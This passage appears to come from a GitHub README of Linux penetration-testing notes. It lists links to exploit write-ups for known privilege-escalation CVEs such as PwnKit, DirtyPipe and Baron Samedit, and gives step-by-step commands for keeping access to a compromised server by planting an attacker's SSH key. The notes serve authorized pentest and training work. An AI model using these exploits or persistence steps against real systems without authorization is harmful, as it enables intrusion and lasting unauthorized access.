1. The vulnerability rpc.py is executed as root. To exploit it, please perform the following exploit :

https://github.com/Kiosec/Linux-Exploitation/tree/main/Exploits/RPC

⭕ Privilege escalation through exploits

CVE Exploit name Exploit location
DirtyCow https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/DirtyCow/DirtyCow.md
Polkit CVE-2021-3560 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/Polkit/CVE-2021-3560.md
Baron Samedit CVE-2021-3156 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/Baron-Samedit/CVE-2021-3156
Pwnkit CVE-2021-4034 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/Pwnkit/CVE-2021-4034.md
DirtyPipe CVE-2022-0847 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/DirtyPipe/CVE-2022-0847.md
GameOver(lay) CVE-2023-2640 CVE-2023-32629 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/GameOver(lay)/CVE-2023-2640-CVE-2023-32629.md
RDS CVE-2010–3904 https://medium.com/@robertip/oscp-practice-zenphoto-proving-ground-practice-fe099ba949bc - https://www.exploit-db.com/exploits/15285

⭕ Maintain access

🔻Upload SSH key

➤ 1. On the attacker machine, generate keys

#(keys are stored /home/<user>/.ssh/)
ssh-keygen -t rsa

➤ 2. Copy the public key to the server

ssh-copy-id <user>@<server IP>
or
cat /home/<user>/.ssh/id_rsa.pub
Copy the contents and paste them on the server in the /home/<user>/.ssh/authorized_keys file

➤ 3. Restart the service

service ssh restart

➤ 4. Access using the ssh key

ssh -i key.pem [email protected]
ssh -i key.pem -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]

About

Audit and pentest methodologies for Linux including internal enumeration, privesc, lateral movement, etc.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published